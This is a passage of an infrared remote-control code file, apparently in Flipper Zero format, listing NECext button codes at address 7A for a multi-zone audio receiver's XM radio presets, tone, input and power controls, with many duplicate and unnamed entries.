EQ_PRESET_- -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 5C 00 00 00 -# -name: INPUT_AV_4 -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 5C 00 00 00 -# -name: AV_4 -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 5C 00 00 00 -# -name: -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 5C 00 00 00 -# -name: INPUT_AV-4 -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 5C 00 00 00 -# -name: REAR_LEVEL_+ -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 5E 00 00 00 -# -name: INPUT_AV_5 -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 5F 00 00 00 -# -name: AV_5 -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 5F 00 00 00 -# -name: -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 5F 00 00 00 -# -name: INPUT_AV-5 -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 5F 00 00 00 -# -name: REAR_LEVEL_- -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 5F 00 00 00 -# -name: XM_PRESET/NUM_0 -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 60 00 00 00 -# -name: XM:_0 -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 60 00 00 00 -# -name: XM_NUM_0 -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 60 00 00 00 -# -name: 0 -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 60 00 00 00 -# -name: XM:_0 -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 60 00 00 00 -# -name: 0 -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 60 00 00 00 -# -name: XM_0 -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 60 00 00 00 -# -name: -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 60 00 00 00 -# -name: XM_0 -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 60 00 00 00 -# -name: XM:_PRESET_0 -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 60 00 00 00 -# -name: Z2:_AV_5 -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 60 00 00 00 -# -name: -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 60 00 00 00 -# -name: Z2_INPUT_AV-5 -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 60 00 00 00 -# -name: XM:_0 -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 60 00 00 00 -# -name: XM_PRESET/NUM_1 -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 61 00 00 00 -# -name: XM:_1 -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 61 00 00 00 -# -name: XM_NUM_1 -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 61 00 00 00 -# -name: 1 -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 61 00 00 00 -# -name: XM:_1 -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 61 00 00 00 -# -name: 1 -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 61 00 00 00 -# -name: XM_1 -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 61 00 00 00 -# -name: -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 61 00 00 00 -# -name: XM_1 -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 61 00 00 00 -# -name: XM:_PRESET_1 -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 61 00 00 00 -# -name: XM:_1 -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 61 00 00 00 -# -name: XM_PRESET/NUM_2 -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 62 00 00 00 -# -name: INPUT_AV_6 -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 62 00 00 00 -# -name: XM:_2 -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 62 00 00 00 -# -name: XM_NUM_2 -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 62 00 00 00 -# -name: 2 -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 62 00 00 00 -# -name: XM:_2 -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 62 00 00 00 -# -name: 2 -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 62 00 00 00 -# -name: XM_2 -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 62 00 00 00 -# -name: AV_6 -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 62 00 00 00 -# -name: -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 62 00 00 00 -# -name: -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 62 00 00 00 -# -name: XM:_PRESET_2 -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 62 00 00 00 -# -name: INPUT_AV-6 -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 62 00 00 00 -# -name: XM:_2 -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 62 00 00 00 -# -name: XM_PRESET/NUM_3 -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 63 00 00 00 -# -name: XM:_3 -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 63 00 00 00 -# -name: XM_NUM_3 -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 63 00 00 00 -# -name: 3 -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 63 00 00 00 -# -name: XM:_3 -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 63 00 00 00 -# -name: 3 -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 63 00 00 00 -# -name: XM_3 -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 63 00 00 00 -# -name: -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 63 00 00 00 -# -name: XM_3 -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 63 00 00 00 -# -name: XM:_PRESET_3 -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 63 00 00 00 -# -name: Z2:_AV_6 -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 63 00 00 00 -# -name: -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 63 00 00 00 -# -name: Z2_INPUT_AV-6 -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 63 00 00 00 -# -name: XM:_3 -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 63 00 00 00 -# -name: XM_PRESET/NUM_4 -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 64 00 00 00 -# -name: XM:_4 -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 64 00 00 00 -# -name: XM_NUM_4 -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 64 00 00 00 -# -name: 4 -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 64 00 00 00 -# -name: XM:_4 -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 64 00 00 00 -# -name: 4 -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 64 00 00 00 -# -name: XM_4 -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 64 00 00 00 -# -name: -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 64 00 00 00 -# -name: XM:_PRESET_4 -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 64 00 00 00 -# -name: XM:_4 -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 64 00 00 00 -# -name: XM_PRESET/NUM_5 -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 65 00 00 00 -# -name: INPUT_AUDIO_1 -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 65 00 00 00 -# -name: AUDIO_INPUT_1 -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 65 00 00 00 -# -name: XM:_5 -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 65 00 00 00 -# -name: XM_NUM_5 -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 65 00 00 00 -# -name: 5 -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 65 00 00 00 -# -name: XM:_5 -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 65 00 00 00 -# -name: 5 -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 65 00 00 00 -# -name: XM_5 -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 65 00 00 00 -# -name: AUDIO_1 -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 65 00 00 00 -# -name: -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 65 00 00 00 -# -name: -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 65 00 00 00 -# -name: XM:_PRESET_5 -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 65 00 00 00 -# -name: INPUT_AUDIO-1 -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 65 00 00 00 -# -name: XM:_5 -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 65 00 00 00 -# -name: XM_PRESET/NUM_6 -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 66 00 00 00 -# -name: XM:_6 -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 66 00 00 00 -# -name: XM_NUM_6 -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 66 00 00 00 -# -name: 6 -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 66 00 00 00 -# -name: XM:_6 -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 66 00 00 00 -# -name: 6 -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 66 00 00 00 -# -name: XM_6 -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 66 00 00 00 -# -name: -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 66 00 00 00 -# -name: XM_6 -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 66 00 00 00 -# -name: XM:_PRESET_6 -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 66 00 00 00 -# -name: Z2:_AUDIO_1 -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 66 00 00 00 -# -name: -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 66 00 00 00 -# -name: Z2_INPUT_AUDIO-1 -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 66 00 00 00 -# -name: XM:_6 -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 66 00 00 00 -# -name: XM_PRESET/NUM_7 -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 67 00 00 00 -# -name: XM:_7 -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 67 00 00 00 -# -name: XM_NUM_7 -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 67 00 00 00 -# -name: 7 -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 67 00 00 00 -# -name: XM:_7 -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 67 00 00 00 -# -name: 7 -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 67 00 00 00 -# -name: XM_7 -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 67 00 00 00 -# -name: -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 67 00 00 00 -# -name: XM_7 -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 67 00 00 00 -# -name: XM:_PRESET_7 -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 67 00 00 00 -# -name: XM:_7 -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 67 00 00 00 -# -name: XM_PRESET/NUM_8 -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 68 00 00 00 -# -name: INPUT_AUDIO_2 -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 68 00 00 00 -# -name: XM:_8 -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 68 00 00 00 -# -name: XM_NUM_8 -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 68 00 00 00 -# -name: 8 -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 68 00 00 00 -# -name: XM:_8 -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 68 00 00 00 -# -name: 8 -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 68 00 00 00 -# -name: XM_8 -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 68 00 00 00 -# -name: AUDIO_2 -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 68 00 00 00 -# -name: -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 68 00 00 00 -# -name: -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 68 00 00 00 -# -name: XM:_PRESET_8 -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 68 00 00 00 -# -name: INPUT_AUDIO-2 -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 68 00 00 00 -# -name: XM:_8 -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 68 00 00 00 -# -name: XM_PRESET/NUM_9 -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 69 00 00 00 -# -name: XM:_9 -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 69 00 00 00 -# -name: XM_NUM_9 -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 69 00 00 00 -# -name: 9 -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 69 00 00 00 -# -name: XM:_9 -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 69 00 00 00 -# -name: 9 -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 69 00 00 00 -# -name: XM_9 -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 69 00 00 00 -# -name: -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 69 00 00 00 -# -name: XM:_PRESET_9 -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 69 00 00 00 -# -name: Z2:_AUDIO_2 -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 69 00 00 00 -# -name: -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 69 00 00 00 -# -name: Z2_INPUT_AUDIO-2 -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 69 00 00 00 -# -name: XM:_9 -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 69 00 00 00 -# -name: XM_PRESET_CH_UP -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 6A 00 00 00 -# -name: XM:_PRE/CH_UP -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 6A 00 00 00 -# -name: XM_PRESET/CH_+ -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 6A 00 00 00 -# -name: XM:_PRESET/CH_+ -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 6A 00 00 00 -# -name: NAV_UP -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 6A 00 00 00 -# -name: XM:CH/PRESET_#_UP -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 6A 00 00 00 -# -name: -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 6A 00 00 00 -# -name: XM:_PRESET_UP -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 6A 00 00 00 -# -name: XM_CURSOR_UP -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 6A 00 00 00 -# -name: XM_CH/PR_NO_UP -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 6A 00 00 00 -# -name: XM:_UP -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 6A 00 00 00 -# -name: XM_PRESET_CH_DOWN -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 6B 00 00 00 -# -name: XM:_PRE/CH_DOWN -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 6B 00 00 00 -# -name: XM_PRESET/CH_- -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 6B 00 00 00 -# -name: XM:_PRESET/CH_- -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 6B 00 00 00 -# -name: NAV_DOWN -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 6B 00 00 00 -# -name: XM:CH/PRESET_#_DOWN -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 6B 00 00 00 -# -name: OPTION -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 6B 00 00 00 -# -name: -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 6B 00 00 00 -# -name: -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 6B 00 00 00 -# -name: XM:_PRESET_DOWN -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 6B 00 00 00 -# -name: XM_CURSOR_DOWN -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 6B 00 00 00 -# -name: XM_CH/PR_NO_DN -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 6B 00 00 00 -# -name: MENU_OPTION -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 6B 00 00 00 -# -name: XM:_DOWN -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 6B 00 00 00 -# -name: XM:_DOWN -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 6B 00 00 00 -# -name: XM_CAT_+ -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 6C 00 00 00 -# -name: XM:_A-E/CAT._(+) -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 6C 00 00 00 -# -name: XM_A-E/CAT._+ -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 6C 00 00 00 -# -name: XM:_A-E/CAT_+ -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 6C 00 00 00 -# -name: NAV_RIGHT -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 6C 00 00 00 -# -name: XM_CATEGORY_+ -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 6C 00 00 00 -# -name: XM:CAT/PST_GRP_UP -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 6C 00 00 00 -# -name: -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 6C 00 00 00 -# -name: XM:_A-E_UP -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 6C 00 00 00 -# -name: XM_CURSOR_RIGHT -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 6C 00 00 00 -# -name: XM_CAT/PR_GROUP_UP -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 6C 00 00 00 -# -name: XM:_RIGHT -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 6C 00 00 00 -# -name: XM:_RIGHT -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 6C 00 00 00 -# -name: XM_SEACH_MODE -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 6D 00 00 00 -# -name: XM:_SEARCH_MD_TOG -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 6D 00 00 00 -# -name: XM_SRCH_MD_TOGGLE -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 6D 00 00 00 -# -name: XM:_SEARCH_MODE -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 6D 00 00 00 -# -name: XM_SEARCH_MODE -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 6D 00 00 00 -# -name: -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 6D 00 00 00 -# -name: XM:CAT/PST_GP_DOWN -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 6D 00 00 00 -# -name: XM_SRCH_MODE -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 6D 00 00 00 -# -name: XM_CAT_- -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 6E 00 00 00 -# -name: XM:_A-E/CAT_(-) -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 6E 00 00 00 -# -name: XM_A-E/CAT._- -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 6E 00 00 00 -# -name: XM:_A-E/CAT_- -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 6E 00 00 00 -# -name: NAV_LEFT -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 6E 00 00 00 -# -name: XM_CATEGORY_- -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 6E 00 00 00 -# -name: -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 6E 00 00 00 -# -name: XM_A-E_DOWN -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 6E 00 00 00 -# -name: XM_CURSOR_LEFT -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 6E 00 00 00 -# -name: XM_CAT/PR_GROUP_DN -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 6E 00 00 00 -# -name: XM:_LEFT -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 6E 00 00 00 -# -name: XM:_UP -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 6E 00 00 00 -# -name: XM:_LEFT -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 6E 00 00 00 -# -name: XM_ENTER(HOLD/DSPL) -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 6F 00 00 00 -# -name: XM:_ENTER_TOG -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 6F 00 00 00 -# -name: XM_ENTER_TOGGLE -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 6F 00 00 00 -# -name: XM:_ENTER -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 6F 00 00 00 -# -name: ENTER -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 6F 00 00 00 -# -name: XM_ENTER -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 6F 00 00 00 -# -name: -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 6F 00 00 00 -# -name: XM_SETUP:_ENTER -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 6F 00 00 00 -# -name: XM:_ENTER -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 6F 00 00 00 -# -name: XM_TITLE -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 70 00 00 00 -# -name: XM:_TITLE_TOG -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 70 00 00 00 -# -name: XM_TITLE_TOGGLE -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 70 00 00 00 -# -name: XM:_TITLE -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 70 00 00 00 -# -name: XM_MEMORY -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 71 00 00 00 -# -name: XM:_MEMORY_PRESET -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 71 00 00 00 -# -name: XM_PRESET_MEMORY -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 71 00 00 00 -# -name: XM:_MEMORY -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 71 00 00 00 -# -name: MEMORY -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 71 00 00 00 -# -name: -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 71 00 00 00 -# -name: XM:_MEMORY -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 71 00 00 00 -# -name: XM_DISPLAY -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 72 00 00 00 -# -name: XM:_DISPLAY_TOG -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 72 00 00 00 -# -name: XM_DISPLAY_TOGGLE -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 72 00 00 00 -# -name: XM:_DISPLAY -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 72 00 00 00 -# -name: -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 72 00 00 00 -# -name: Z2:_BASS_(+) -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 73 00 00 00 -# -name: Z2_TONE_BASS_+ -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 73 00 00 00 -# -name: Z2:_BASS_+ -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 73 00 00 00 -# -name: TONE_BASS_+ -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 73 00 00 00 -# -name: BASS_+ -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 73 00 00 00 -# -name: BASS_+ -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 73 00 00 00 -# -name: Z2:_BASS_(-) -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 74 00 00 00 -# -name: Z2_TONE_BASS_- -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 74 00 00 00 -# -name: Z2:_BASS_- -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 74 00 00 00 -# -name: TONE_BASS_- -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 74 00 00 00 -# -name: BASS_- -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 74 00 00 00 -# -name: BASS_- -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 74 00 00 00 -# -name: Z2:_TREBLE_(+) -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 75 00 00 00 -# -name: Z2_TONE_TREB_+ -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 75 00 00 00 -# -name: Z2:_TREBLE_+ -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 75 00 00 00 -# -name: TONE_TREBLE_+ -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 75 00 00 00 -# -name: TREBLE_+ -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 75 00 00 00 -# -name: TREBLE_+ -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 75 00 00 00 -# -name: Z2:_TREBLE_(-) -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 76 00 00 00 -# -name: Z2_TONE_TREB_- -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 76 00 00 00 -# -name: Z2:_TREBLE_- -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 76 00 00 00 -# -name: TONE_TREBLE_- -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 76 00 00 00 -# -name: TREBLE_- -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 76 00 00 00 -# -name: TREBLE_- -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 76 00 00 00 -# -name: Z3:_BASS_(+) -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 77 00 00 00 -# -name: Z3:_BASS_+ -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 77 00 00 00 -# -name: TONE_BASS_+ -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 77 00 00 00 -# -name: BASS_+ -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 77 00 00 00 -# -name: BASS_+ -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 77 00 00 00 -# -name: Z3:_BASS_(-) -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 78 00 00 00 -# -name: Z3:_BASS_- -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 78 00 00 00 -# -name: TONE_BASS_- -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 78 00 00 00 -# -name: BASS_- -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 78 00 00 00 -# -name: BASS_- -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 78 00 00 00 -# -name: Z3:_TREBLE_(+) -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 79 00 00 00 -# -name: Z3:_TREBLE_+ -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 79 00 00 00 -# -name: TONE_TREBLE_+ -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 79 00 00 00 -# -name: TREBLE_+ -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 79 00 00 00 -# -name: TREBLE_+ -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 79 00 00 00 -# -name: Z3:_TREBLE_(-) -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 7A 00 00 00 -# -name: Z3:_TREBLE_- -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 7A 00 00 00 -# -name: TONE_TREBLE_- -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 7A 00 00 00 -# -name: TREBLE_- -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 7A 00 00 00 -# -name: TREBLE_- -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 7A 00 00 00 -# -name: Z4:_POWER_ON -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 7B 00 00 00 -# -name: Z4:_POWER_ON -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 7B 00 00 00 -# -name: Z4:_POWER_OFF -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 7C 00 00 00 -# -name: Z4:_STANDBY -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 7C 00 00 00 -# -name: Z4:_STANDBY -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 7C 00 00 00 -# -name: Z4:_INP_V-AUX -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 7D 00 00 00 -# -name: Z4_INP:_V-AUX -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 7D 00 00 00 -# -name: Z4_INP:_V-AUX -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 7D 00 00 00 -# -name: Z4:_INP_PHONO -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 7E 00 00 00 -# -name: Z4_INP:_PHONO -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 7E 00 00 00 -# -name: Z4_INP:_PHONO -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 7E 00 00 00 -# -name: Z4:_INP_CD -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 7F 00 00 00 -# -name: Z4_INP:_CD -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 7F 00 00 00 -# -name: Z4_INP:_CD -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 